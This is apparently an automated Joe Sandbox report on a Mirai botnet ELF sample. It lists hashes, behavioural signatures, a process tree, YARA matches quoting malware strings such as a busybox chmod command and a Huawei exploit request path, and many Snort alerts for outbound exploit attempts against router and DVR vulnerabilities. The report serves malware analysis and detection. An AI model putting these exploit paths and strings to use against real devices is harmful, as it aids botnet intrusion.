Edit tour

Linux Analysis Report
s8y4CBbFHW.elf

Overview

General Information

Sample name:	s8y4CBbFHW.elf renamed because original name is a hash value
Original sample name:	20bc328ef0647aac4fca80a0067e38f8.elf
Analysis ID:	1454605
MD5:	20bc328ef0647aac4fca80a0067e38f8
SHA1:	e6aed42419880ef850f77f1ccbe402361bccb9fe
SHA256:	1cfa6726bfb6144cf26150f61c43716f48e0794f0f950ee40d5316fb9435ea37
Tags:	32elfmirairenesas
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Document contains embedded VBA macros

Document misses a certain OLE stream usually present in this Microsoft Office document type

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1454605
Start date and time:	2024-06-10 15:37:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	s8y4CBbFHW.elf renamed because original name is a hash value
Original Sample Name:	20bc328ef0647aac4fca80a0067e38f8.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/1@25/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: s8y4CBbFHW.elf

Runtime Messages

Command:	/tmp/s8y4CBbFHW.elf
PID:	5432
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

s8y4CBbFHW.elf (PID: 5432, Parent: 5356, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/s8y4CBbFHW.elf

s8y4CBbFHW.elf New Fork (PID: 5434, Parent: 5432)

s8y4CBbFHW.elf New Fork (PID: 5436, Parent: 5434)

s8y4CBbFHW.elf New Fork (PID: 5438, Parent: 5434)

s8y4CBbFHW.elf New Fork (PID: 5439, Parent: 5434)

s8y4CBbFHW.elf New Fork (PID: 5441, Parent: 5434)

s8y4CBbFHW.elf New Fork (PID: 5443, Parent: 5434)

xfce4-panel New Fork (PID: 5457, Parent: 3147)

wrapper-2.0 (PID: 5457, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 5458, Parent: 3147)

wrapper-2.0 (PID: 5458, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 5459, Parent: 3147)

wrapper-2.0 (PID: 5459, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 5460, Parent: 3147)

wrapper-2.0 (PID: 5460, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

wrapper-2.0 New Fork (PID: 5479, Parent: 5460)

xfpm-power-backlight-helper (PID: 5479, Parent: 5460, MD5: 3d221ad23f28ca3259f599b1664e2427) Arguments: /usr/sbin/xfpm-power-backlight-helper --get-max-brightness

xfce4-panel New Fork (PID: 5461, Parent: 3147)

wrapper-2.0 (PID: 5461, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 5462, Parent: 3147)

wrapper-2.0 (PID: 5462, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

dbus-daemon New Fork (PID: 5478, Parent: 5477)

xfconfd (PID: 5478, Parent: 5477, MD5: 4c7a0d6d258bb970905b19b84abcd8e9) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd

systemd New Fork (PID: 5487, Parent: 2935)

xfce4-notifyd (PID: 5487, Parent: 2935, MD5: eee956f1b227c1d5031f9c61223255d1) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
s8y4CBbFHW.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
s8y4CBbFHW.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
s8y4CBbFHW.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
s8y4CBbFHW.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1092a:$x2: /bin/busybox chmod 777 * /tmp/ 0x1066c:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x105ec:$s3: POST /cdn-cgi/
s8y4CBbFHW.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x105ec:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A

Memory Dumps

Source	Rule	Description	Author	Strings
5441.1.00007f5714400000.00007f5714412000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5441.1.00007f5714400000.00007f5714412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5441.1.00007f5714400000.00007f5714412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5441.1.00007f5714400000.00007f5714412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1092a:$x2: /bin/busybox chmod 777 * /tmp/ 0x1066c:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x105ec:$s3: POST /cdn-cgi/
5441.1.00007f5714400000.00007f5714412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x105ec:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5438.1.00007f5714400000.00007f5714412000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5438.1.00007f5714400000.00007f5714412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5438.1.00007f5714400000.00007f5714412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5438.1.00007f5714400000.00007f5714412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1092a:$x2: /bin/busybox chmod 777 * /tmp/ 0x1066c:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x105ec:$s3: POST /cdn-cgi/
5438.1.00007f5714400000.00007f5714412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x105ec:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5439.1.00007f5714400000.00007f5714412000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5439.1.00007f5714400000.00007f5714412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5439.1.00007f5714400000.00007f5714412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5439.1.00007f5714400000.00007f5714412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1092a:$x2: /bin/busybox chmod 777 * /tmp/ 0x1066c:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x105ec:$s3: POST /cdn-cgi/
5439.1.00007f5714400000.00007f5714412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x105ec:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5432.1.00007f5714400000.00007f5714412000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5432.1.00007f5714400000.00007f5714412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5432.1.00007f5714400000.00007f5714412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5432.1.00007f5714400000.00007f5714412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1092a:$x2: /bin/busybox chmod 777 * /tmp/ 0x1066c:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x105ec:$s3: POST /cdn-cgi/
5432.1.00007f5714400000.00007f5714412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x105ec:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5436.1.00007f5714400000.00007f5714412000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5436.1.00007f5714400000.00007f5714412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5436.1.00007f5714400000.00007f5714412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5436.1.00007f5714400000.00007f5714412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1092a:$x2: /bin/busybox chmod 777 * /tmp/ 0x1066c:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x105ec:$s3: POST /cdn-cgi/
5436.1.00007f5714400000.00007f5714412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x105ec:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Process Memory Space: s8y4CBbFHW.elf PID: 5432	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: s8y4CBbFHW.elf PID: 5436	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: s8y4CBbFHW.elf PID: 5438	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: s8y4CBbFHW.elf PID: 5439	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: s8y4CBbFHW.elf PID: 5441	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 25 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.142.139.143

Timestamp:	06/10/24-15:38:02.922975
SID:	2829579
Source Port:	33046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.63.57.16

Timestamp:	06/10/24-15:38:00.230283
SID:	2835222
Source Port:	53326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.218.214.250

Timestamp:	06/10/24-15:37:59.986870
SID:	2835222
Source Port:	57044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.212.41.218

Timestamp:	06/10/24-15:38:02.759599
SID:	2829579
Source Port:	43962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 89.231.127.82

Timestamp:	06/10/24-15:38:02.120500
SID:	2030092
Source Port:	54986
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 51.171.172.212

Timestamp:	06/10/24-15:38:02.089268
SID:	2030092
Source Port:	40248
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.255.245.2

Timestamp:	06/10/24-15:38:02.751686
SID:	2829579
Source Port:	53884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 220.61.58.145

Timestamp:	06/10/24-15:38:02.134117
SID:	2030092
Source Port:	41286
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.179.145.152

Timestamp:	06/10/24-15:37:59.996932
SID:	2829579
Source Port:	38538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 70.109.71.255

Timestamp:	06/10/24-15:37:59.747937
SID:	2030092
Source Port:	32824
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 164.199.106.8

Timestamp:	06/10/24-15:38:02.194608
SID:	2030092
Source Port:	41838
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 70.237.38.161

Timestamp:	06/10/24-15:38:02.239619
SID:	2030092
Source Port:	48010
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 207.200.77.20

Timestamp:	06/10/24-15:38:02.207442
SID:	2030092
Source Port:	47142
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.89.39.231

Timestamp:	06/10/24-15:37:59.931967
SID:	2829579
Source Port:	37610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.251.250.147

Timestamp:	06/10/24-15:38:02.827129
SID:	2829579
Source Port:	42044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.32.132.93

Timestamp:	06/10/24-15:37:59.933966
SID:	2835222
Source Port:	56460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.149.203.68

Timestamp:	06/10/24-15:38:02.687592
SID:	2829579
Source Port:	56152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 144.53.68.134

Timestamp:	06/10/24-15:38:02.178384
SID:	2030092
Source Port:	40916
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 51.33.7.198

Timestamp:	06/10/24-15:37:59.809084
SID:	2025883
Source Port:	35328
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.156.125.193

Timestamp:	06/10/24-15:38:00.195434
SID:	2829579
Source Port:	34518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.125.224.191

Timestamp:	06/10/24-15:37:59.946134
SID:	2835222
Source Port:	33492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 221.232.64.182

Timestamp:	06/10/24-15:38:02.306024
SID:	2030092
Source Port:	58582
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.34.192.208

Timestamp:	06/10/24-15:38:00.162235
SID:	2835222
Source Port:	37698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.126.41.40

Timestamp:	06/10/24-15:38:02.734955
SID:	2829579
Source Port:	57338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.90.232.117

Timestamp:	06/10/24-15:37:59.999497
SID:	2829579
Source Port:	37368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.111.134.175

Timestamp:	06/10/24-15:38:02.647915
SID:	2829579
Source Port:	51404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.246.123.244

Timestamp:	06/10/24-15:38:00.203547
SID:	2829579
Source Port:	45678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.145.93.184

Timestamp:	06/10/24-15:38:00.238002
SID:	2829579
Source Port:	57242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.194.53.246

Timestamp:	06/10/24-15:38:02.488949
SID:	2835222
Source Port:	38910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.97.23.92

Timestamp:	06/10/24-15:37:59.933051
SID:	2835222
Source Port:	53100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.66.48.157

Timestamp:	06/10/24-15:38:02.834263
SID:	2829579
Source Port:	39336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.211.139.234

Timestamp:	06/10/24-15:38:00.160743
SID:	2835222
Source Port:	57854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 217.58.14.173

Timestamp:	06/10/24-15:38:02.192815
SID:	2030092
Source Port:	47476
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 211.223.163.145

Timestamp:	06/10/24-15:38:02.097659
SID:	2030092
Source Port:	33038
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 181.95.234.17

Timestamp:	06/10/24-15:38:02.088585
SID:	2025883
Source Port:	42532
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.15.193.245

Timestamp:	06/10/24-15:37:59.965473
SID:	2835222
Source Port:	48328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 173.150.225.180

Timestamp:	06/10/24-15:37:59.790906
SID:	2025883
Source Port:	41002
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 205.141.193.122

Timestamp:	06/10/24-15:38:02.095481
SID:	2030092
Source Port:	57206
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.139.140.243

Timestamp:	06/10/24-15:38:00.165713
SID:	2835222
Source Port:	36522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.245.92.52

Timestamp:	06/10/24-15:38:02.510425
SID:	2829579
Source Port:	37076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 13.159.171.238

Timestamp:	06/10/24-15:37:59.797691
SID:	2025883
Source Port:	39842
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.255.246.136

Timestamp:	06/10/24-15:37:59.983452
SID:	2835222
Source Port:	44048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 129.130.176.0

Timestamp:	06/10/24-15:38:02.317684
SID:	2030092
Source Port:	40720
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.14.88.10

Timestamp:	06/10/24-15:38:02.657284
SID:	2835222
Source Port:	50714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.149.113.57

Timestamp:	06/10/24-15:37:59.973933
SID:	2835222
Source Port:	60388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.152.159.10

Timestamp:	06/10/24-15:38:00.188379
SID:	2829579
Source Port:	44576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.92.239.151

Timestamp:	06/10/24-15:38:02.652273
SID:	2835222
Source Port:	35332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 158.99.97.254

Timestamp:	06/10/24-15:38:02.085779
SID:	2030092
Source Port:	50556
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.142.203.17

Timestamp:	06/10/24-15:37:59.942479
SID:	2835222
Source Port:	55606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.145.128.99

Timestamp:	06/10/24-15:38:02.798921
SID:	2829579
Source Port:	58940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.174.115.39

Timestamp:	06/10/24-15:37:59.970506
SID:	2829579
Source Port:	60046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.154.147.59

Timestamp:	06/10/24-15:38:00.197151
SID:	2835222
Source Port:	48674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 41.85.227.153

Timestamp:	06/10/24-15:38:02.187428
SID:	2030092
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 122.154.206.75

Timestamp:	06/10/24-15:38:02.201308
SID:	2030092
Source Port:	41832
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 70.156.171.43

Timestamp:	06/10/24-15:37:59.756001
SID:	2025883
Source Port:	53434
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.15.16.186

Timestamp:	06/10/24-15:38:00.001255
SID:	2829579
Source Port:	37376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.183.245.26

Timestamp:	06/10/24-15:38:00.239703
SID:	2829579
Source Port:	33930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

